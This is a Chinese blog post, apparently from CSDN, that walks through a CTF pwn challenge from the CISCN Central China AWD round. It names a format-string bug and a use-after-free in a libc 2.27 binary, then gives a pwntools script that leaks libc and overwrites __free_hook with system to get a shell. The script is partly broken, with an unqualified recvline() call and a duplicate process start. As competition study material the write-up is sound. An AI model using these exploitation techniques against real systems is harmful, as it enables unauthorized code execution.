ciscn 华中赛区分区赛 awd pwn2

最新推荐文章于 2023-02-09 22:20:40 发布

yongbaoii

最新推荐文章于 2023-02-09 22:20:40 发布

阅读量562

点赞数

CC 4.0 BY-SA版权

分类专栏： CTF 文章标签：安全

本文链接：https://blog.youkuaiyun.com/yongbaoii/article/details/118437299

CTF 专栏收录该内容

213 篇文章

订阅专栏

该博客详细介绍了如何利用C程序中一个包含格式化字符串漏洞和Use-After-Free（UAF）漏洞的libc2.27库。作者通过记录、删除、浏览和重写操作展示了漏洞利用过程，并给出了exploit代码，最终实现对系统调用的控制。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

在这里插入图片描述
libc 2.27

record
在这里插入图片描述
结构还是比较清晰的。

申请了一个大小为0x110的chunk。前0x10是mark，后0x100是msg。
在最后八个字节那里，维护了一个单链表。

scrape
在这里插入图片描述也就是删除，但是在删除链表尾的时候有uaf。

browser
在这里插入图片描述
就是输出，上面花里胡哨的也没啥用，然后有个格式化字符串漏洞。

rewrite
在这里插入图片描述可以重新写一下。

backdoor
在这里插入图片描述
也是在做一个输出。

漏洞有俩，一个格式化字符串，一个uaf。
uaf利用半天利用不出来，格式化字符串倒是简单。

exp

from pwn import*

context.log_level = "debug"

r = process("./2")

libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")


def record(msg, mark):
    r.sendlineafter('>', '1')
    r.sendlineafter('>', msg)
    r.sendafter('>', mark.ljust(16, '\x00'))

def scrape(mark):
    r.sendlineafter('>', '2')
    r.sendafter('>', mark.ljust(16, '\x00'))

def browser(mark):
    r.sendlineafter('>', '3')
    r.sendafter('>', mark.ljust(16, '\x00'))

def rewrite(msg, mark):
    r.sendlineafter('>', '4')
    r.sendafter('>', mark.ljust(16, '\x00'))
    r.sendlineafter('>', msg)


r = process('./2')

record('%50$p', 'sh;')
browser('sh;')
libc_address = int(recvline().strip(), 16)-0x21fb7
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']
print "libc_base = " + hex(libc_address)

writes = {free_hook: system}
payload = fmtstr_payload(10, writes)
rewrite(payload, 'sh;')
browser('sh;')
scrape('sh;')

r.interactive()